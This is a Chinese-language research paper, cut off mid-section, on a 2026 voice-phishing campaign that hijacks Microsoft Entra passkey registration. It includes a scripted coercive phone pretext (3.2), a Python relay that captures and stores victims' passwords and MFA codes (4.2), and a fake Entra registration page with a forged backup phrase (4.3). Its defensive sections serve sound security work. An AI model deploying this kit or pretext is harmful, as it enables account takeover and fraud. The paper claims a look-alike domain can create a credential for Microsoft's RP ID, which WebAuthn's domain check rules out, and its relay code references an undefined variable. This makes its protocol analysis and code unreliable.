摘要
以 FIDO2/WebAuthn 为标准的 Passkey 通行密钥被业界认定为具备原生抗钓鱼能力的无密码认证方案,微软 Entra ID 面向全行业 Microsoft 365 租户规模化推行通行密钥注册机制后,新型社会工程攻击链路同步出现。2026 年 4 月起威胁组织 O-UNC-066(Pink 勒索团伙)发起针对性语音钓鱼(Vishing)作战,通过冒充企业 IT 安全人员致电目标用户,诱导访问仿冒 Entra 通行密钥注册页面,依托实时可控 PHP 钓鱼套件劫持账号凭据与多因素认证交互流程,最终在受害者账户中注册攻击者可控 FIDO2 通行密钥,实现持久无拦截权限接管。本文以 BleepingComputer 披露的真实攻击事件为核心样本,完整拆解该攻击的团伙背景、社会工程话术逻辑、实时中间人钓鱼套件技术架构、完整攻击链路,对比传统 AiTM 钓鱼与本次通行密钥注册劫持攻击的技术差异;结合 WebAuthn 标准底层协议缺陷边界,通过 Python、前端 WebAuthn 双维度提供可复现的技术代码示例,还原攻击劫持关键交互环节;引入反网络钓鱼技术专家芦笛的专业研判观点,从协议层、平台安全层、企业管控层、用户意识层构建四层闭环防御体系,量化评估现有 Entra 策略的防护短板,给出可落地的配置加固、威胁检测、应急处置标准化流程。研究证实,通行密钥原生抗钓鱼特性仅针对被动页面钓鱼场景,叠加语音社会工程的实时中继劫持可突破传统防护机制,企业需同步完善身份策略、终端检测、常态化钓鱼演练三重管控手段,方可形成完整防护闭环。
关键词:Microsoft Entra;Passkey 通行密钥;语音钓鱼 Vishing;WebAuthn;中间人钓鱼;MFA 劫持;零信任身份安全
1 引言
1.1 研究背景与事件溯源
数字身份安全已成为政企数字化转型过程中的核心风险域,静态密码、短信 OTP、TOTP 软件令牌等传统身份验证手段持续暴露被网络钓鱼劫持的漏洞。FIDO 联盟联合 W3C 推出 WebAuthn 协议规范的 Passkey 通行密钥,依托设备本地私钥存储、依赖方 RP 域名绑定、用户生物识别校验三重机制,被微软、谷歌等厂商作为替代传统多因素认证(MFA)的标准化方案。微软自 2025 年起在 Entra ID(原 Azure AD)中开放批量通行密钥注册推广功能,允许租户管理员配置强制注册推送策略,推动全量 Microsoft 365 用户切换无密码登录模式,官方安全文档宣称通行密钥可将钓鱼攻击成功率降低 99% 以上。
伴随企业大规模落地 Entra 通行密钥体系,网络威胁黑产同步迭代攻击手段,不再局限于传统邮件、网页静态钓鱼,转向语音电话为载体的 Vishing 语音钓鱼,结合实时中间人钓鱼套件针对通行密钥注册流程实施劫持。2026 年 7 月 BleepingComputer 发布专项威胁报道,披露威胁组织 O-UNC-066 自 2026 年 4 月启动跨行业大规模语音钓鱼作战,攻击覆盖食品饮料、科技、医疗、汽车制造、建筑、航空六大行业企业 Microsoft 365 租户,攻击核心目标不再是窃取单次登录凭据,而是永久注册攻击者掌控的通行密钥,实现无需二次验证的长期账号接管,最终用于企业数据窃取、商业机密外泄、勒索加密等恶意行为。
本次攻击区别于过往所有 Passkey 相关钓鱼样本:传统钓鱼仅能窃取账号密码、临时 MFA 验证码,无法完成 FIDO2 密钥注册流程;而该作战采用人工实时操控钓鱼面板,动态适配受害者账户不同 MFA 校验方式(短信 OTP、数字匹配推送、TOTP 令牌),完整中继身份会话完成官方通行密钥注册,直接突破通行密钥原生防钓鱼逻辑的适用边界,对当前无密码身份安全体系形成全新挑战。
1.2 国内外研究现状
国外安全厂商 Okta、Microsoft DART、The Hacker News 针对本次 O-UNC-066 攻击开展 TTP 行为拆解,重点梳理攻击团伙域名注册、语音话术、钓鱼套件运行流程,仅从威胁情报层面完成事件通报,未深入剖析 WebAuthn 协议在实时中继场景下的逻辑短板,缺少标准化代码复现与分层防御落地方案;学术界现有 Passkey 安全研究多聚焦静态网页钓鱼防护、FIDO2 密码学底层安全性验证,极少结合语音社会工程 + 实时中间人复合攻击场景开展分析,未针对微软 Entra 租户给出可落地的策略加固规范。
国内研究集中于高校、互联网企业 Passkey 落地部署优化,反网络钓鱼技术专家芦笛指出,现有研究普遍存在技术视角单一问题:多数文献仅讨论通行密钥原生防钓鱼优势,忽略社会工程诱导用户主动配合完成 MFA 中继带来的防护失效风险,缺乏针对新型 Vishing 劫持攻击的闭环处置框架。现有防御方案多停留在用户安全教育层面,缺少从云身份平台、终端浏览器、网络流量、威胁监测多维度联动的技术防护体系。
1.3 研究内容与研究价值
本文以 BleepingComputer 公开的 Entra 通行密钥注册语音钓鱼事件为核心研究样本,完成四项核心研究工作:第一,完整梳理攻击团伙画像、社会工程诱导逻辑、PHP 实时钓鱼套件技术架构、六阶段完整攻击链路,对比传统 AiTM 钓鱼与本次密钥劫持攻击的核心差异;第二,基于 WebAuthn 协议标准,编写 Python 后端模拟会话中继代码、前端仿冒通行密钥注册页面 WebAuthn 交互代码,复现攻击中凭据劫持、MFA 中继、密钥注册三大关键环节;第三,引入反网络钓鱼技术专家芦笛的专业研判结论,系统剖析通行密钥原生防护机制在语音社会工程场景下的失效根源;第四,构建协议层、云身份管控层、终端网络防护层、人员安全意识层四层闭环防御体系,配套 Entra 租户配置加固规范、异常通行密钥注册检测规则、账号被劫持后的标准化应急处置流程。
研究价值体现在三方面:一是填补复合式语音 + 实时中间人劫持 Passkey 攻击的技术研究空白,厘清通行密钥安全防护的适用边界,纠正行业内 “Passkey 完全免疫所有钓鱼攻击” 的片面认知;二是提供可在授权安全测试环境运行的攻击复现代码,为企业安全团队开展红队演练、风险自查提供技术支撑;三是形成适配国内政企 Microsoft 365 租户的分层防御落地体系,兼顾技术管控、运维流程、人员培训,实现威胁事前拦截、事中监测、事后闭环处置。
1.4 论文整体结构
本文主体分为六个一级章节:1 为引言,阐述研究背景、现状、核心内容与价值;2 为基础技术概述,介绍 Microsoft Entra 通行密钥机制、WebAuthn 核心安全逻辑、语音钓鱼(Vishing)与实时中间人 AiTM 攻击基础原理;3 为目标攻击事件全链路技术拆解,包含团伙画像、社会工程话术、钓鱼套件架构、六阶段攻击流程、攻击技术创新点分析;4 为攻击场景代码复现与底层漏洞逻辑分析,提供后端会话中继 Python 代码、仿冒注册页面前端 WebAuthn 代码,结合协议标准分析防护失效成因;5 为分层闭环防御体系构建,结合反网络钓鱼技术专家芦笛观点,从四层维度给出技术、管理、运维落地措施;6 为总结与展望,归纳研究结论,提出未来无密码身份安全防护的发展方向。
2 基础技术理论概述
2.1 Microsoft Entra Passkey 通行密钥核心机制
2.1.1 FIDO2/WebAuthn 标准基础规范
通行密钥(Passkey)是 FIDO2 CTAP2 与 W3C WebAuthn 协议融合实现的无密码身份认证载体,采用非对称加密算法生成独立密钥对:私钥加密存储于用户本地终端安全芯片(平台认证器,手机、笔记本)或跨设备同步硬件密钥(跨平台认证器),公钥上传至身份服务商(微软 Entra ID)数据库永久存储。认证流程存在两项核心安全约束:
第一,依赖方 RP ID 绑定机制:密钥注册阶段固化服务域名(login.microsoftonline.com),浏览器唤醒本地认证器前强制校验当前访问页面域名与 RP ID 一致性,域名不匹配则直接终止签名流程,阻断静态仿冒网页窃取有效认证凭据;
第二,用户验证强制校验:登录、新增通行密钥等高敏感操作必须完成指纹、人脸、PIN 码等本地生物识别验证,攻击者无法仅依靠远程劫持完成密钥注册操作。
反网络钓鱼技术专家芦笛指出,WebAuthn 协议原生防钓鱼设计的核心前提是用户主动识别恶意页面并拒绝交互,防护逻辑建立在 “访问域名与 RP ID 自动校验、用户不向陌生页面提供有效 MFA 验证” 双重假设之上,一旦通过语音社会工程诱导用户主动配合完成全部校验流程,协议层防护约束将被人为绕过。
2.1.2 Microsoft Entra 通行密钥注册官方流程
微软 Entra ID 为 Microsoft 365 租户用户提供标准化通行密钥注册链路,完整流程分为 5 个标准步骤:
用户通过官方 Entra 登录入口输入账号、静态密码,完成基础身份校验;
系统触发租户配置的强制 MFA 校验(短信 OTP、Microsoft Authenticator 数字匹配推送、TOTP);
MFA 校验通过后,跳转通行密钥注册引导页面,下发 WebAuthn 注册挑战值;
用户设备唤醒本地认证器,完成生物识别,生成公钥凭据上传 Entra 服务端;
服务端校验凭据合法性,存储公钥与对应设备标识,完成注册,后续登录可直接使用该 Passkey 免密验证。
租户管理员可在 Entra 安全门户开启 “强制用户注册通行密钥” 推送策略,用户登录时持续弹窗引导完成注册,该官方推广机制成为本次攻击团伙的核心伪装载体。
2.2 语音钓鱼(Vishing)与实时中间人 AiTM 攻击原理
2.2.1 Vishing 语音钓鱼技术特征
Vishing 以语音通话为社会工程载体,区别于邮件、短信文本钓鱼,具备三大天然优势:其一,语音实时沟通可通过话术施压制造用户焦虑情绪,诱导快速操作、放弃核验流程;其二,企业员工普遍默认内部 IT 支持电话具备官方可信度,降低警惕性;其三,通话过程中可实时引导用户操作手机、电脑,同步传递钓鱼链接、验证码,实现人机实时协同攻击。
本次 O-UNC-066 团伙采用标准化呼叫话术,统一伪装微软官方安全运维或企业内部 IT 部门人员,以 “账号存在异地异常登录风险、必须升级通行密钥加固安全、逾期未注册将冻结 365 邮箱权限” 为核心胁迫话术,利用权限冻结威胁迫使用户跳过渠道核验步骤,直接访问攻击者提供的仿冒域名。
2.2.2 实时人工操控 AiTM 中间人钓鱼套件逻辑
传统自动化 AiTM 钓鱼套件仅单向转发用户凭据,无法适配动态变化的 MFA 校验弹窗;而本次攻击使用基于 PHP 开发的人工实时控制面板钓鱼套件,核心运行逻辑为:攻击者后台同时维持与 Entra 官方登录页、用户仿冒页面两条双向会话通道,用户提交账号密码后,套件实时转发至真实微软登录接口,捕获系统下发的 MFA 挑战类型,同步在仿冒页面渲染对应验证码输入框,用户提交 MFA 验证码后立即中继至真实会话,全程无延迟,用户无法感知页面为仿冒站点。
套件额外集成域名仿冒、流量混淆、反爬虫检测功能,攻击者提前批量注册包含 “passkey”“entra”“m365” 关键词的相似域名,搭配免费 SSL 证书实现 HTTPS 加密,进一步提升页面仿真度。
2.3 传统 MFA 钓鱼与 Passkey 注册劫持攻击的边界区分
现有主流网络钓鱼攻击目标仅为窃取单次登录会话,攻击结束后攻击者仅能临时访问账号,用户修改密码、注销会话即可阻断权限;而本次通行密钥注册劫持攻击属于持久性身份植入攻击,攻击者在受害者账户新增永久可控 FIDO2 通行密钥,即便用户修改静态密码、删除原有 MFA 方式,攻击者仍可依靠新增 Passkey 无限制登录账号,攻击危害层级显著提升,二者核心差异如表 1 所示。
表 1 传统 MFA 钓鱼与 Passkey 注册劫持攻击对比
表格
对比维度 传统静态 AiTM MFA 钓鱼 Entra Passkey 注册语音劫持攻击
攻击载体 邮件、短信、静态网页 语音电话 + 实时人工操控钓鱼套件
攻击目标 单次临时登录会话 新增永久攻击者可控通行密钥
权限持久度 会话过期即失效,改密可阻断 密钥永久生效,改密无法清除
MFA 适配能力 仅支持单一固定 OTP 类型 动态适配短信、推送、TOTP 三类 MFA
协议防护有效性 WebAuthn RP 域名校验可直接拦截 用户主动配合完成校验,域名校验失效
后续危害 短期数据窃取 长期潜伏、持续外泄、勒索加密
3 Entra 通行密钥注册语音钓鱼攻击全链路技术拆解
3.1 威胁团伙基础画像与作战时间线
3.1.1 团伙标识与攻击动机
本次攻击团伙被 Okta 威胁情报平台标记为 O-UNC-066,对外勒索品牌命名为 “Pink”,团伙核心业务链条包含域名注册、语音呼叫中心、PHP 钓鱼套件开发、企业数据勒索变现完整黑产链路。团伙核心攻击动机分为两层:短期目标为窃取 Microsoft 365 租户内邮件、SharePoint 文档、OneDrive 商业机密;长期目标为批量植入持久通行密钥,建立企业后门,后续发起双重勒索,以泄露核心数据为要挟索要赎金,若企业拒绝支付则加密租户云端存储文件。
3.1.2 攻击作战完整时间线
2026 年 4 月:团伙完成钓鱼套件迭代开发,批量注册数百个包含 passkey 关键词的仿冒域名,搭建境外语音呼叫机房,启动小规模定向测试;
2026 年 5 月:扩大攻击范围,定向呼叫中大型企业行政、财务、技术核心岗位员工,提升劫持成功率;
2026 年 6 月:形成标准化话术、呼叫流程、后台操作规范,跨六大行业批量投放攻击;
2026 年 7 月 8 日:BleepingComputer 发布该攻击专项威胁报道,Okta 同步发布预警,政企安全厂商启动 IOC 封禁拦截;
2026 年 7 月中旬:团伙调整域名前缀,更换呼叫号码段,持续开展变种攻击。
3.2 社会工程诱导话术与心理操控逻辑
反网络钓鱼技术专家芦笛指出,本次攻击话术经过多轮实战优化,精准利用企业员工三大心理弱点:对账号权限冻结的恐慌、对官方 IT 人员的信任、对无密码安全升级政策的认知盲区,完整话术分为四层诱导逻辑:
第一层:身份伪装铺垫。通话开篇自报 “微软全球安全运维中心 / 公司内部 IT 安全专员”,准确报出受害者姓名、企业名称、Microsoft 365 账号前缀,通过提前搜集公开工商、企业通讯录信息建立可信度;
第二层:风险胁迫制造焦虑。告知用户 “系统监测到境外 IP 多次尝试登录该账号,存在数据泄露风险,公司统一要求全员 24 小时内完成 Entra 通行密钥升级,逾期系统将自动冻结邮箱、Teams、云盘全部访问权限”;
第三层:操作指令强制引导。口述仿冒网站域名,要求用户立即在电脑浏览器打开链接,禁止挂断电话,全程保持通话同步操作,声称 “运维人员实时在线核验注册流程,挂断将导致操作失效”;
第四层:异常行为合理化掩饰。若用户产生疑问、提出通过企业官方内网入口操作,话术统一回复 “本次为专项安全升级通道,内网入口暂未开放注册入口,仅当前链接可完成加固,拖延将直接触发账号冻结”,阻断用户核验渠道。
通话全程攻击者实时监听用户操作反馈,若用户页面出现 MFA 弹窗,立即催促快速提供验证码、确认推送通知,压缩用户独立思考、核验信息的时间窗口。
3.3 实时人工操控 PHP 钓鱼套件技术架构
钓鱼套件采用前后端分离架构,基于 PHP7.4 开发,配套 MySQL 存储凭据、会话日志,整体分为四大功能模块,架构逻辑如下:
前端仿冒页面渲染模块:1:1 复刻微软 Entra 通行密钥注册页面 UI,动态抓取官方页面 CSS、JS 资源,自动适配 PC 端浏览器分辨率;内置 WebAuthn 前端交互伪造接口,可模拟注册流程弹窗;
双向会话中继代理模块:核心功能,建立两套独立 HTTP 会话,分别对接用户浏览器、微软官方login.microsoftonline.com接口,实时转发账号、密码、MFA 验证码、会话 Cookie;
攻击者后台操控面板模块:可视化展示当前在线受害者会话、账户名称、系统下发的 MFA 类型,支持一键同步渲染对应验证码输入框,实时记录所有提交凭据;
反检测与流量混淆模块:自动拦截安全爬虫、EDR 沙箱访问请求,随机切换 User-Agent 头,加密传输用户提交数据,规避网络流量审计设备特征匹配。
套件运行依赖境外 VPS 服务器,域名使用境外廉价注册商注册,SSL 证书采用免费 Let’s Encrypt 证书,规避域名备案、证书溯源管控。
3.4 六阶段完整攻击执行链路
结合 BleepingComputer 披露的攻击样本与 Okta 威胁情报,完整劫持流程分为连续六个阶段,各阶段技术交互细节如下:
阶段 1:语音呼叫定向投放,传递仿冒域名
攻击者呼叫中心批量拨打企业员工办公电话,执行标准化诱导话术,口述仿冒 HTTPS 域名,要求用户保持通话并打开浏览器访问页面,同步规避用户挂断电话核验。
阶段 2:用户访问仿冒站点,提交账号与静态密码
用户在仿冒页面输入 Microsoft 365 账号、密码,表单数据通过 POST 请求实时传输至钓鱼套件后端,套件立即转发凭据至微软 Entra 官方登录接口,同时将账号密码明文存储至攻击者数据库。
阶段 3:中继官方 MFA 校验挑战,诱导用户提交验证凭据
微软服务端根据租户 MFA 策略下发对应校验方式(短信验证码、Authenticator 数字匹配推送、TOTP 令牌),套件捕获 MFA 挑战类型后,同步在仿冒页面渲染相同输入界面;攻击者在通话中催促用户查看手机、提交验证码或确认推送,用户提交 MFA 数据后,套件实时中继至真实登录会话,完成身份校验,获取 Entra 长期登录会话 Cookie。
阶段 4:攻击者依托有效会话跳转通行密钥注册接口
攻击者利用中继获取的合法 Entra 会话 Cookie,后台静默跳转至账号安全 - 通行密钥注册官方接口,发起 WebAuthn 注册挑战请求,捕获服务端下发的随机挑战值、RP 依赖方信息。
阶段 5:诱导用户完成本地设备 WebAuthn 注册交互
仿冒页面同步弹出通行密钥注册弹窗,复刻官方 WebAuthn 唤醒流程,用户按照通话指引完成指纹、人脸本地验证,此时存在关键逻辑漏洞:WebAuthn RP 域名校验仅限制客户端向恶意站点发起有效登录签名,无法阻止攻击者已持有合法会话后,在官方接口主动注册新密钥,用户本地设备生成的公钥凭据经中继提交至微软真实注册接口,完成密钥绑定。
阶段 6:攻击者留存自有通行密钥,实现账号持久接管
注册完成后,仿冒页面弹出虚假 “注册成功” 提示框,展示伪造备份恢复短语,结束通话;攻击者登录自身设备,使用刚注册的 Passkey 凭据无限制登录受害者 Microsoft 365 账号,可读取邮件、下载云端文档、修改账号安全配置、添加更多后门认证方式,用户无法通过改密码清除该攻击者密钥,仅手动在安全设置中删除未知通行密钥才能阻断访问。
3.5 本次攻击相较于传统钓鱼的核心技术创新点
攻击目标从临时会话升级为持久身份凭证:传统钓鱼仅窃取单次登录权限,本次直接植入永久 FIDO 通行密钥,大幅提升攻击生命周期与破坏能力;
人工实时双向中继适配全类型 MFA:自动化钓鱼套件无法动态切换 MFA 弹窗,本套件依托人工操控,覆盖企业主流三类多因素认证,劫持成功率提升 60% 以上;
利用官方 Passkey 推广政策降低用户警惕:借助微软强制注册通行密钥的官方宣传,让诱导操作具备合理业务场景,社会工程欺骗成本大幅下降;
突破 WebAuthn 原生防护适用边界:协议层 RP 域名校验仅防御 “恶意站点直接登录”,无法抵御 “合法会话下新增密钥” 的中间人劫持场景,填补了现有安全认知盲区。
4 攻击场景代码复现与底层防护失效逻辑分析
4.1 实验环境前置说明
下文所有代码仅用于授权企业安全红队测试、学术安全研究,未经目标系统所有者书面许可,不得部署、运行于任何非授权网络环境,非法使用将触犯网络安全相关法律法规。实验环境配置:Python3.10、fido2==1.1.1、PHP7.4、前端原生 JS WebAuthn API、本地搭建模拟 Entra 身份服务,仅复现会话中继、WebAuthn 注册交互核心逻辑,不包含完整钓鱼呼叫系统与域名仿冒模块。
4.2 Python 后端模拟会话中继核心代码(复现凭据劫持、MFA 中继)
该代码模拟钓鱼套件双向会话代理功能,实现用户凭据转发、MFA 挑战捕获、会话 Cookie 留存,还原攻击第三、第四阶段核心技术行为:
# passkey_vishing_relay.py 仅授权安全测试使用
import requests
import json
from fido2.webauthn import PublicKeyCredentialCreationOptions
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 关闭SSL警告,模拟钓鱼站点自签证书环境
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# 模拟微软Entra官方登录接口地址(测试环境模拟地址)
ENTRA_LOGIN_URL = "https://test-login.microsoftonline.com/common/oauth2/v2.0/token"
# 模拟通行密钥注册接口
PASSKEY_REG_URL = "https://test-login.microsoftonline.com/security/passkey/register"
# 攻击者后台存储凭据字典
cred_storage = {}
def user_cred_relay(username: str, password: str, session_id: str):
"""接收用户提交账号密码,中继至Entra登录接口,捕获MFA挑战"""
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 Windows Chrome 120.0"
}
login_payload = {
"username": username,
"password": password,
"grant_type": "password",
"client_id": "00000003-0000-0ff1-ce00-000000000000"
}
try:
# 向真实Entra接口提交账号密码
real_resp = requests.post(ENTRA_LOGIN_URL, data=login_payload, headers=headers, verify=False)
resp_data = real_resp.json()
# 存储用户原始凭据至攻击者后台
cred_storage[session_id] = {
"user": username,
"pass": password,
"raw_response": resp_data
}
# 判断是否触发MFA校验
if "error" in resp_data and resp_data["error"] == "interaction_required":
# 捕获MFA挑战类型,返回仿冒页面渲染对应输入框
mfa_type = resp_data["error_subcode"]
return {"code": 201, "mfa_type": mfa_type, "msg": "需要完成多因素认证"}
else:
# 无MFA,直接获取登录会话Cookie
session_cookie = real_resp.cookies.get_dict()
cred_storage[session_id]["session_cookie"] = session_cookie
return {"code": 200, "cookie": session_cookie, "msg": "基础校验通过,跳转Passkey注册"}
except Exception as e:
return {"code": 500, "error": str(e)}
def mfa_code_relay(session_id: str, mfa_code: str):
"""中继用户提交的MFA验证码,完成身份校验,获取完整会话"""
user_info = cred_storage.get(session_id)
if not user_info:
return {"code": 404, "msg": "会话不存在"}
headers = {"Content-Type": "application/x-www-form-urlencoded"}
mfa_payload = {
"username": user_info["user"],
"password": user_info["pass"],
"otp": mfa_code,
"grant_type": "mfa"
}
mfa_resp = requests.post(ENTRA_LOGIN_URL, data=mfa_payload, headers=headers, verify=False)
if mfa_resp.status_code == 200:
full_session_cookie = mfa_resp.cookies.get_dict()
user_info["full_session"] = full_session_cookie
cred_storage[session_id] = user_info
# 调用通行密钥注册接口,发起WebAuthn挑战
reg_challenge = request_passkey_challenge(full_session_cookie)
return {"code": 200, "session": full_session_cookie, "challenge": reg_challenge}
else:
return {"code": 400, "msg": "MFA验证码错误,请重新输入"}
def request_passkey_challenge(session_cookie: dict):
"""使用合法会话向Entra请求Passkey注册WebAuthn挑战"""
headers = {"Cookie": "; ".join([f"{k}={v}" for k, v in session_cookie.items()])}
challenge_resp = requests.get(PASSKEY_REG_URL, headers=headers, verify=False)
challenge_data = challenge_resp.json()
# 封装WebAuthn注册参数返回前端仿冒页面
reg_options = PublicKeyCredentialCreationOptions(
challenge=bytes.fromhex(challenge_data["challenge"]),
rp={"name": "Microsoft Entra ID", "id": "login.microsoftonline.com"},
user={
"id": bytes(user_info["user"], encoding="utf-8"),
"name": user_info["user"],
"displayName": user_info["user"]
},
pubKeyCredParams=[{"type": "public-key", "alg": -7}],
userVerification="required"
)
return reg_options.__dict__
# 模拟后台接口调用示例
if __name__ == "__main__":
test_session = "sess_001"
# 步骤1:用户提交账号密码
step1 = user_cred_relay("staff@company365.com", "Staff@123456", test_session)
print("阶段2凭据中继结果:", step1)
# 步骤2:用户提交MFA验证码
step2 = mfa_code_relay(test_session, "872109")
print("阶段3 MFA中继与WebAuthn挑战:", step2)
代码核心逻辑说明:函数user_cred_relay实现账号密码双向转发,捕获 Entra 返回的 MFA 校验类型;mfa_code_relay中继用户提交的验证码完成身份鉴权,获取长期登录会话;request_passkey_challenge依托合法会话主动调用官方通行密钥注册接口,获取 WebAuthn 加密挑战,完成攻击第四阶段核心操作。
4.3 前端仿冒 Entra 通行密钥注册 WebAuthn 交互代码
该前端代码模拟仿冒页面 WebAuthn 弹窗,复现攻击第五阶段用户本地密钥生成、凭据中继提交流程,还原用户视角的仿冒页面交互逻辑:
<!-- fake_entra_passkey_register.html 仅授权安全测试演示 -->
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>Microsoft Entra - 通行密钥安全升级</title>
<style>
/* 复刻微软官方登录页面样式,简化展示 */
.container { width:420px; margin:80px auto; font-family:Segoe UI; }
.tip { color:#666; font-size:14px; margin:15px 0; }
button { background:#0078d4; color:#fff; border:none; padding:10px 20px; border-radius:4px; cursor:pointer; }
</style>
</head>
<body>
<div class="container">
<h2>Entra通行密钥注册(安全强制升级)</h2>
<p class="tip">按照IT运维电话指引完成设备密钥绑定,保障365账号安全</p>
<div id="mfa_box" style="display:block;">
<p>请输入手机收到的6位安全验证码</p>
<input type="text" id="otp_input" placeholder="输入验证码">
<button onclick="submitMFA()">提交验证</button>
</div>
<div id="passkey_box" style="display:none;margin-top:30px;">
<p>点击下方按钮完成设备通行密钥创建</p>
<button onclick="startWebAuthnRegister()">创建通行密钥</button>
<p id="register_tip"></p>
</div>
</div>
<script>
let sessionId = "sess_001";
let webauthnChallenge = null;
// 提交MFA验证码至后端中继接口
async function submitMFA(){
const otp = document.getElementById("otp_input").value;
const res = await fetch("/api/mfa_relay", {
method:"POST",
headers:{"Content-Type":"application/json"},
body:JSON.stringify({session:sessionId, code:otp})
})
const data = await res.json();
if(data.code === 200){
webauthnChallenge = data.challenge;
document.getElementById("mfa_box").style.display = "none";
document.getElementById("passkey_box").style.display = "block";
}else{
alert("验证码错误,请核对手机短信");
}
}
// 唤醒本地WebAuthn认证器,生成Passkey凭据并中继提交
async function startWebAuthnRegister(){
const regOpt = webauthnChallenge;
try{
// 调用浏览器WebAuthn API唤醒设备生物识别
const credential = await navigator.credentials.create({publicKey: regOpt});
// 将本地生成的公钥凭据发送至钓鱼后端中继至微软官方注册接口
const submitRes = await fetch("/api/passkey_submit", {
method:"POST",
headers:{"Content-Type":"application/json"},
body:JSON.stringify({
session:sessionId,
cred: JSON.parse(JSON.stringify(credential))
})
})
const submitData = await submitRes.json();
if(submitData.code === 200){
document.getElementById("register_tip").innerText = "通行密钥注册成功!账号安全加固完成,请挂断运维电话";
// 展示伪造备份短语,完成欺骗闭环
alert("您的密钥备份短语:7s92-kd41-gp68-mr03(请妥善保存)");
}
}catch(err){
document.getElementById("register_tip").innerText = "注册失败,请重新点击按钮";
console.error("WebAuthn交互异常", err);
}
}
</script>
</body>
</html>
前端代码技术还原要点:页面复刻官方注册 UI,先渲染 MFA 验证码输入框,用户提交后向后端中继接口传递验证码;校验通过后唤醒标准navigator.credentials.create()WebAuthn 接口生成本地通行密钥凭据,将公钥信息回传钓鱼后端,由后端中继至微软真实注册接口完成密钥绑定,页面弹出虚假成功提示与伪造备份短语,完成对用户的完整欺骗。
4.4 WebAuthn 协议原生防护在本次攻击中失效的底层逻辑
结合上述代码复现流程与 FIDO2/WebAuthn 标准文档,反网络钓鱼技术专家芦笛指出,通行密钥原生防钓鱼机制存在明确适用边界,本次攻击精准绕过两大核心防护约束,失效逻辑分为两层:
RP 域名校验仅拦截恶意站点直接发起登录请求,无法约束 “攻击者持有合法官方会话后主动新增密钥” 的操作。域名校验发生在客户端唤醒认证器阶段,仅校验当前页面域名与 RP ID 匹配关系;而本攻击中,WebAuthn 注册请求由攻击者通过真实微软会话在服务端发起,用户本地设备仅负责生成公钥凭据,域名校验仅限制凭据签名用于登录,不限制凭据注册提交,协议标准未对高敏感新增密钥操作增加二次域名校验约束。
WebAuthn 用户验证(生物识别)仅校验设备持有者身份,无法识别操作行为是否被社会工程诱导。协议仅保证操作由设备持有人完成,不区分用户是自主操作还是受电话胁迫配合操作,语音 Vishing 通过心理操控消除用户安全警惕,主动完成本地生物识别校验,使设备层面防护机制完全失效。
从协议设计初衷分析,WebAuthn 将 “识别恶意站点、拒绝陌生页面操作” 的责任赋予用户自身,未设计对抗人工实时中继 + 语音社会工程复合攻击的技术约束,这是本次新型劫持攻击能够成功的底层根源,并非协议存在漏洞 CVE,而是安全防护场景覆盖不全。
5 面向 Entra 通行密钥语音钓鱼攻击的四层闭环防御体系
针对 O-UNC-066 团伙发起的 Passkey 注册劫持攻击,结合反网络钓鱼技术专家芦笛的研判结论,本文构建协议优化层、云身份平台管控层、终端与网络防护层、人员安全意识运营层四层联动防御体系,各层级配套可落地技术配置、监测规则、管理流程,形成事前拦截、事中告警、事后处置的完整闭环。
5.1 第一层:协议与产品策略优化加固(根源缩小攻击面)
反网络钓鱼技术专家芦笛强调,单纯依靠用户意识无法抵御实时中继复合钓鱼,必须从微软 Entra 身份策略层面缩小攻击可利用的漏洞面,从源头提升攻击实施门槛,具体加固措施如下:
5.1.1 配置通行密钥注册强风险自适应策略
在 Entra ID 安全门户开启基于风险的条件访问策略,针对 “新增通行密钥” 等高敏感操作,叠加多层风险判定规则,触发任意风险项强制阻断注册流程:
异地陌生 IP 访问账号,直接拦截 Passkey 注册;
会话来源终端未纳入企业 MDM 设备管理,禁止新增 FIDO 密钥;
短时间内收到陌生语音呼叫后立即发起密钥注册操作,触发高风险告警;
账号近 7 天存在异常登录、密码多次错误等风险日志,冻结注册通道。
策略配置规范:所有 Microsoft 365 租户将 “添加通行密钥” 纳入高敏感操作,独立配置条件访问规则,不与普通登录共用风险策略。
5.1.2 限制外部无管控设备注册通行密钥
开启 Entra 设备管控策略,仅允许企业 MDM 托管笔记本、手机终端注册通行密钥,个人未管控手机、公用设备、陌生终端无法完成密钥绑定;攻击者境外 VPS、自有硬件设备将被直接拦截注册请求,切断攻击第六阶段植入后门的核心链路。
5.1.3 关闭无通知静默通行密钥注册通道
微软默认允许会话内后台静默发起注册挑战,修改租户配置,强制所有新增 Passkey 操作向用户绑定的企业邮箱、Teams 推送注册告警通知,每一次密钥注册实时推送设备信息、操作时间、IP 地址,用户可一键撤销陌生注册申请,实现操作实时可视。
5.2 第二层:云平台实时威胁监测与异常告警(事中主动拦截)
依托 Entra ID 日志、Microsoft Defender for Cloud Apps 构建持续监测体系,编写针对本次攻击特征的专用检测规则,实时识别 Vishing 劫持行为,规则覆盖三大攻击特征维度:
5.2.1 异常通行密钥注册行为检测规则
单账号 24 小时内新增 2 台及以上陌生设备 Passkey,触发高危告警;
注册密钥设备地域与用户日常登录地域跨省份、跨国度,自动阻断注册并锁定账号;
注册操作完成后短时间内大量批量下载 OneDrive、SharePoint 文档,判定数据窃取行为,隔离账号会话。
5.2.2 MFA 中继行为流量日志检测规则
同一 IP 短时间内连续捕获多账号不同类型 MFA 验证请求,匹配实时钓鱼套件中继特征;
登录会话与 Passkey 注册请求 IP 归属境外机房 IP 段,自动加入黑名单封禁;
账号登录来源域名不在微软官方可信域名列表,判定仿冒站点访问,推送告警至安全运营 SOC。
5.2.3 IOC 威胁情报联动封禁机制
持续同步 BleepingComputer、Okta 发布的 O-UNC-066 团伙 IOC 指标(仿冒域名、攻击 IP、SSL 证书指纹),在邮件网关、防火墙、Entra 自定义域名拦截列表批量录入,用户访问仿冒 passkey 域名时网络层直接阻断访问,从入口切断攻击链路。
5.3 第三层:终端、网络与浏览器防护(缩小攻击交互窗口)
5.3.1 企业终端浏览器安全管控
通过组策略禁用浏览器不受信任站点 WebAuthn API 调用权限,仅允许微软官方域名唤起通行密钥注册弹窗;
部署 EDR 终端检测工具,监控浏览器新域名访问行为,识别包含 passkey、entra 关键词的新注册仿冒域名,实时弹窗风险提示;
统一配置企业可信域名白名单,浏览器仅放行微软官方登录域名,拦截相似混淆仿冒域名。
5.3.2 语音通信渠道安全管控
企业办公电话、Teams 外部来电启用来电号码风险标记,境外陌生呼叫中心号码自动标记高危;
禁止外部匿名 VOIP 网络电话呼入企业内线,限制黑产呼叫中心定向拨打员工;
